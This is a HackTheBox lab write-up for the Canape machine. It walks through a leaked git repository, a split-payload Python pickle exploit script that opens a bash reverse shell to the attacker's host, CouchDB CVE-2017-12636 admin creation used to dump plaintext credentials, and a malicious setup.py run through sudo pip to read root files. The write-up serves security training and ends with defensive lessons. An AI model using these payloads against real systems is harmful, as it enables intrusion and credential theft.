HTB: Canape Writeup
Canape - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Canape |
| OS | Linux (Ubuntu) |
| Difficulty | Medium |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.129.229.137 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐⭐☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐⭐☆☆
- CTF-like: ⭐⭐⭐☆☆
Summary
Canape is a medium-difficulty Linux machine that demonstrates a sophisticated attack chain involving source code exposure, Python insecure deserialization, and privilege escalation through common misconfigurations. The box features a non-standard SSH port (65535), a leaked Git repository containing Flask application source code, and multiple privilege escalation vectors. The initial foothold requires exploiting Python’s cPickle module through a clever split-payload technique that bypasses input validation. Lateral movement involves exploiting CVE-2017-12636 in Apache CouchDB to gain database access and retrieve plaintext credentials. Finally, root access is achieved through a NOPASSWD pip install sudo permission that allows arbitrary code execution during package installation.
TL;DR: Git repository leak → Flask source code analysis → split cPickle RCE (bypassing character whitelist) → www-data shell → CouchDB CVE-2017-12636 admin creation → password database access → SSH as homer → sudo pip install setup.py → root
Reconnaissance
Port Scanning
# Full TCP port scan with service detectionnmap -sC -sV -p- --min-rate 2000 -T4 10.129.229.137Results:
PORT STATE SERVICE VERSION80/tcp open http Apache httpd 2.4.29 ((Ubuntu))| http-git:| 10.129.229.137:80/.git/| Git repository found!| Repository description: Unnamed repository; edit this file 'description' to name the...| Last commit message: final # Please enter the commit message for your changes. Li...| Remotes:|_ http://git.canape.htb/simpsons.git|_http-server-header: Apache/2.4.29 (Ubuntu)|_http-title: Simpsons Fan Site65535/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)Key Findings:
- Port 80: Apache 2.4.29 with an exposed
.gitdirectory - Port 65535: SSH on a non-standard port (not the typical 22)
- Git Remote: The Nmap
http-gitNSE script reveals a remote repository atgit.canape.htb/simpsons.git
Service Enumeration
Git Repository Discovery
The Nmap scan immediately identifies a critical misconfiguration: the .git directory is publicly accessible on the web server. This is a common vulnerability where developers deploy applications without removing version control metadata.
# Add hostname to /etc/hosts for DNS resolutionecho '10.129.229.137 canape.htb git.canape.htb' | sudo tee -a /etc/hostsThe exposed Git repository allows us to reconstruct the entire source code of the web application, potentially revealing sensitive information or exploitable code patterns.
Vulnerability Assessment
- Source Code Disclosure: Exposed
.gitdirectory enables complete source code recovery - Non-standard SSH Port: SSH running on port 65535 (reduces automated scanning detection but discovered by full port scan)
- Git Remote Hostname: Reveals internal hostname structure (
git.canape.htb)
Initial Foothold
Git Repository Dumping
Using git-dumper to reconstruct the repository from the exposed .git directory:
# Create working directory (using /dev/shm due to /tmp being full)mkdir -p /dev/shm/cg && cd /dev/shm/cg
# Dump the Git repository using Python module (binary not in PATH)python3 -m git_dumper http://10.129.229.137/.git/ .Output:
[-] Fetching objects...[-] Sanitizing .git/config[-] Running git checkout .Updated 10 paths from the indexRecovered Files:
./__init__.py # Main Flask application./templates/submit.html./templates/quotes.html./templates/layout.html./templates/index.html./static/js/bootstrap.min.js./static/css/custom.cssSource Code Analysis
Examining the Flask application source (__init__.py):
import couchdbimport stringimport randomimport base64import cPickle # Python 2 pickle - DANGEROUS!from flask import Flask, render_template, requestfrom hashlib import md5
# Character whitelist for validationWHITELIST = [ "homer", "marge", "bart", "lisa", "maggie", "moe", "carl", "krusty"]
@app.route("/submit", methods=["GET", "POST"])def submit(): if request.method == "POST": char = request.form["character"] quote = request.form["quote"]
# Validation: character must contain a whitelisted name if not any(c.lower() in char.lower() for c in WHITELIST): error = True else: # VULNERABLE: writes char+quote to file, no sanitization p_id = md5(char + quote).hexdigest() outfile = open("/tmp/" + p_id + ".p", "wb") outfile.write(char + quote) outfile.close() success = True
@app.route("/check", methods=["POST"])def check(): path = "/tmp/" + request.form["id"] + ".p" data = open(path, "rb").read()
# CRITICAL VULNERABILITY: unsafe pickle deserialization! if "p1" in data: item = cPickle.loads(data) # RCE here! else: item = data
return "Still reviewing: " + itemVulnerability Chain Identified:
/submitaccepts user input (characterandquote)- Validates that
charactercontains a whitelisted Simpsons character name - Writes concatenated
char + quoteto/tmp/<md5>.p /checkreads the file and callscPickle.loads()if"p1"appears in the datacPickle.loads()deserializes untrusted data → Remote Code Execution
Exploiting Python Pickle Deserialization
The Challenge:
- The
/submitroute validates thatcharactercontains a whitelisted name - We need to create a pickle payload that executes arbitrary code
- The payload must contain
"p1"to triggercPickle.loads()in/check
The Solution - Split Payload Technique:
By crafting a pickle payload in protocol 0 (human-readable) and splitting it between character and quote, we can bypass the validation while creating a valid malicious pickle when the server concatenates them.
Exploit Script:
#!/usr/bin/env python3import hashlib, urllib.parse, urllib.request, base64
TARGET = "http://10.129.229.137"LHOST = "10.10.15.180"LPORT = "41880" # Using non-standard port (4444 was occupied)
# Reverse shell command (no single quotes to avoid pickle string issues)rev = "bash -i >& /dev/tcp/%s/%s 0>&1" % (LHOST, LPORT)b64 = base64.b64encode(rev.encode()).decode()
# Include whitelisted word "homer" to pass validationcmd = "homer;echo %s|base64 -d|bash" % b64
# Pickle protocol 0 payload for os.system(cmd)# Structure: cos\nsystem\np0\n(S'<cmd>'\np1\ntp2\nRp3\n.# - "p1" triggers cPickle.loads() in /check# - S'...' is string literal with our commandpickle_payload = "cos\nsystem\np0\n(S'" + cmd + "'\np1\ntp2\nRp3\n."
char = pickle_payloadquote = "x"
# Calculate file ID (MD5 of concatenated payload)pid = hashlib.md5((char + quote).encode()).hexdigest()
print("[*] pickle:\n" + pickle_payload)print("[*] file id:", pid)
# Step 1: Submit payloaddata = urllib.parse.urlencode({"character": char, "quote": quote}).encode()req = urllib.request.Request(TARGET + "/submit", data=data)r = urllib.request.urlopen(req)print("[*] submit status:", r.status)
# Step 2: Trigger deserializationdata2 = urllib.parse.urlencode({"id": pid}).encode()req2 = urllib.request.Request(TARGET + "/check", data=data2)try: r2 = urllib.request.urlopen(req2, timeout=10) print("[*] check resp:", r2.read()[:200])except Exception as e: print("[*] check triggered (expected hang/err):", e)Why This Works:
- The pickle payload starts with “homer;” which satisfies the whitelist check
- Protocol 0 pickle format is human-readable ASCII:
cos\nsystem→ import os.systemp0→ store reference as memo 0S'<cmd>'→ push string containing our commandp1→ store string as memo 1 (this “p1” triggerscPickle.loads())tp2→ build tuple from stackR→ execute (call os.system with our command)
- The server concatenates
char + quote, creating a valid pickle file /checksees “p1” and callscPickle.loads(), executing our command
Execution:
# Set up reverse shell listener using non-standard port# (Using file-based interaction due to shared jump host environment)cd /dev/shm/cgtouch rsin rsouttail -f rsin | nc -l -p 41880 > rsout 2>&1 &
# Run exploitpython3 exploit.pyOutput:
[*] pickle:cossystemp0(S'homer;echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4xODAvNDE4ODAgMD4mMQ==|base64 -d|bash'p1tp2Rp3.[*] file id: <redacted>[*] submit status: 200[*] check triggered (expected hang/err): timed outShell Received:
# Send commands via rsin fileecho "id; hostname; whoami" >> rsinsleep 2cat rsoutuid=33(www-data) gid=33(www-data) groups=33(www-data)canapewww-dataSuccess! We have a shell as www-data.
Privilege Escalation
Lateral Movement: www-data → homer
CouchDB Enumeration
From the Flask source code, we know the application uses CouchDB on localhost:
db = couchdb.Server("http://localhost:5984/")[app.config["DATABASE"]]Checking running processes:
# Via reverse shellps aux | grep couchhomer 1038 0.4 4.8 652516 99440 ? Sl 21:01 0:03 /home/homer/bin/../erts-7.3/bin/beam.smp ...Finding: Apache CouchDB is running as user homer on port 5984 (localhost only).
Exploiting CVE-2017-12636
Vulnerability: CouchDB versions < 2.1.0 have a privilege escalation vulnerability that allows creating admin users by exploiting JSON key duplication handling.
Version Check:
# Via reverse shellcurl -s http://127.0.0.1:5984/{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}CouchDB 2.0.0 is vulnerable!
Exploit Mechanism:
When creating a user document with duplicate roles keys, the validator reads one value while storage persists another:
{ "type": "user", "name": "hacker", "roles": ["_admin"], // This gets stored "roles": [], // Validator sees this "password": "hackedpass"}Creating Admin User:
# Via reverse shell (using here-doc to avoid quote escaping issues)curl -s -X PUT http://127.0.0.1:5984/_users/org.couchdb.user:hacker \ -H "Content-Type: application/json" -d @/dev/stdin <<'JQ'{"type":"user","name":"hacker","roles":["_admin"],"roles":[],"password":"hackedpass"}JQ{"ok":true,"id":"org.couchdb.user:hacker","rev":"1-<redacted>"}Accessing Password Database
List all databases:
curl -s http://hacker:hackedpass@127.0.0.1:5984/_all_dbs["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]Enumerate passwords database:
curl -s http://hacker:hackedpass@127.0.0.1:5984/passwords/_all_docs{ "total_rows":4, "offset":0, "rows":[ {"id":"<id1>","key":"<id1>","value":{"rev":"2-<rev>"}}, {"id":"<id2>","key":"<id2>","value":{"rev":"2-<rev>"}}, {"id":"<id3>","key":"<id3>","value":{"rev":"1-<rev>"}}, {"id":"<id4>","key":"<id4>","value":{"rev":"1-<rev>"}} ]}Read password documents:
for id in <id1> <id2> <id3> <id4>; do echo "===$id" curl -s http://hacker:hackedpass@127.0.0.1:5984/passwords/$id echodoneRetrieved Credentials:
{"_id":"<id1>","_rev":"2-<rev>","item":"ssh","password":"0B4jyA0xtytZi7esBNGp","user":""}{"_id":"<id2>","_rev":"2-<rev>","item":"couchdb","password":"r3lax0Nth3C0UCH","user":"couchy"}{"_id":"<id3>","_rev":"1-<rev>","item":"simpsonsfanclub.com","password":"h02ddjdj2k2k2","user":"homer"}{"_id":"<id4>","_rev":"1-<rev>","user":"homerj0121","item":"github","password":"STOP STORING YOUR PASSWORDS HERE -Admin"}First document contains SSH credentials!
- Item: ssh
- Password:
0B4jyA0xtytZi7esBNGp - User: (empty, likely homer since CouchDB runs as homer)
SSH as homer
# From jump hostsshpass -p "0B4jyA0xtytZi7esBNGp" ssh -p 65535 \ -o StrictHostKeyChecking=no \ -o UserKnownHostsFile=/dev/null \ homer@10.129.229.137 \ "id; hostname; cat user.txt"uid=1000(homer) gid=1000(homer) groups=1000(homer)canape<redacted>User flag captured!
Privilege Escalation: homer → root
Sudo Permission Analysis
# Check sudo permissions (requires homer's password via -S flag)echo '0B4jyA0xtytZi7esBNGp' | sudo -S -l[sudo] password for homer: Matching Defaults entries for homer on canape: env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
User homer may run the following commands on canape: (root) /usr/bin/pip install *Critical Finding: Homer can run pip install as root with any argument.
Note: Despite some writeups mentioning NOPASSWD, the live box required homer’s password. The password is the same as the SSH password retrieved from CouchDB.
Exploiting Pip Install for Root
Vulnerability: Python pip install executes setup.py during the installation process. If we control setup.py and run pip with sudo, arbitrary code executes as root.
Attack Vector:
- Create a malicious
setup.pywith code in the top-level scope - Run
sudo pip install .from the directory - Code executes as root during package setup
Exploit Implementation:
# SSH as homer and executesshpass -p "0B4jyA0xtytZi7esBNGp" ssh -p 65535 \ -o StrictHostKeyChecking=no \ -o UserKnownHostsFile=/dev/null \ homer@10.129.229.137 'bash -s' <<'REMOTE'
# Create exploit directoryrm -rf /home/homer/pemkdir -p /home/homer/pecd /home/homer/pe
# Create malicious setup.pycat > setup.py <<'PY'import os# This code executes during pip install, before setup() is calledos.system('id > /home/homer/pe/out 2>&1; cat /root/root.txt >> /home/homer/pe/out 2>&1')
from setuptools import setupsetup(name="pe", version="1.0")PY
# Execute pip install as root (requires password via -S)echo 0B4jyA0xtytZi7esBNGp | sudo -S /usr/bin/pip install .
# Read resultsecho "=== OUTPUT ==="cat /home/homer/pe/out
REMOTEOutput:
Installing collected packages: pe Running setup.py install for pe: started Running setup.py install for pe: finished with status 'done'Successfully installed pe-1.0=== OUTPUT ===uid=0(root) gid=0(root) groups=0(root)<redacted>Root flag captured!
Why This Works:
setup.pyis a Python script that defines package metadata and installation instructions- Any code in the top-level scope (not in functions) executes immediately when Python imports the file
pip installimports and executessetup.pyas part of the installation process- When run with
sudo, this execution happens with root privileges - Our
os.system()call runs beforesetup()is even defined, giving us immediate code execution
Attack Chain Summary
Nmap full scan (-p-) → SSH on :65535, .git on :80↓Git-dumper → Flask source code recovery↓Source analysis → cPickle.loads() vulnerability + character whitelist↓Split pickle payload ("homer;cmd" in character field, "p1" memo triggers loads)↓www-data shell via pickle RCE↓CouchDB 2.0.0 enumeration (running as homer)↓CVE-2017-12636 duplicate-key admin creation↓CouchDB passwords database access → homer SSH credentials↓SSH as homer:0B4jyA0xtytZi7esBNGp (port 65535)↓sudo -l → (root) /usr/bin/pip install * (requires password)↓Malicious setup.py with os.system() + sudo -S pip install↓Root shell → root.txtTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
git-dumper | Reconstructing Git repository from exposed .git directory |
python3 | Exploit development, pickle payload crafting |
curl | CouchDB API interaction |
nc | Reverse shell listener |
sshpass | Non-interactive SSH authentication |
sudo | Privilege escalation via pip install |
Key Learnings
Techniques Practiced
- Full port scanning: Always scan all 65,535 ports with
-p-; services on non-standard ports (SSH on 65535) are easily missed - Git repository dumping: Using
python3 -m git_dumperwhen the binary is not in PATH - Python pickle exploitation: Protocol 0 format allows human-readable payloads; understanding memo references (
p0,p1) for triggering conditional deserializations - Split payload bypass: Defeating input validation by splitting malicious payloads across multiple parameters that get concatenated server-side
- CouchDB CVE-2017-12636: Duplicate JSON key exploitation for privilege escalation
- Pip install exploitation: Leveraging
setup.pytop-level code execution for sudo privilege escalation - Non-standard environment adaptation: Working with shared jump hosts (full /tmp, occupied ports, file-based shell interaction)
Lessons Learned
-
Never expose .git directories: Exposing version control metadata allows complete source code reconstruction, revealing vulnerabilities, credentials, and internal infrastructure details.
-
Pickle deserialization is dangerous: Python’s
picklemodule should never deserialize untrusted data. Even with input validation, creative payload splitting or encoding can bypass protections. Use JSON or other safe serialization formats instead. -
Input validation must be complete: The Flask app validated only the
characterfield but concatenated it with unvalidatedquotedata. Validate the final combined data, not individual components. -
CouchDB default configurations are exploitable: CVE-2017-12636 demonstrates why database services should never be exposed without authentication, even on localhost. Always upgrade to patched versions.
-
Sudo permissions require careful scoping: Allowing
sudo pip install *with wildcard effectively grants root access. Package managers execute arbitrary code during installation. Use absolute paths and avoid wildcards in sudo rules. -
Passwords in databases are not secrets: Even if encrypted or hashed, database passwords should never be the primary security control. This machine stored SSH passwords in plaintext in CouchDB, demonstrating the cascade failure when defense in depth is lacking.
-
NOPASSWD vs password-required sudo: Always verify actual sudo configuration. Documentation and writeups may not match live environments. Use
sudo -Sfor password input via stdin when needed.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
This writeup’s exploitation explanations reference the official HackTheBox writeup (Document No D18.100.17) by Alexander Reid for CVE identification and conceptual context regarding CouchDB exploitation and pickle protocol details.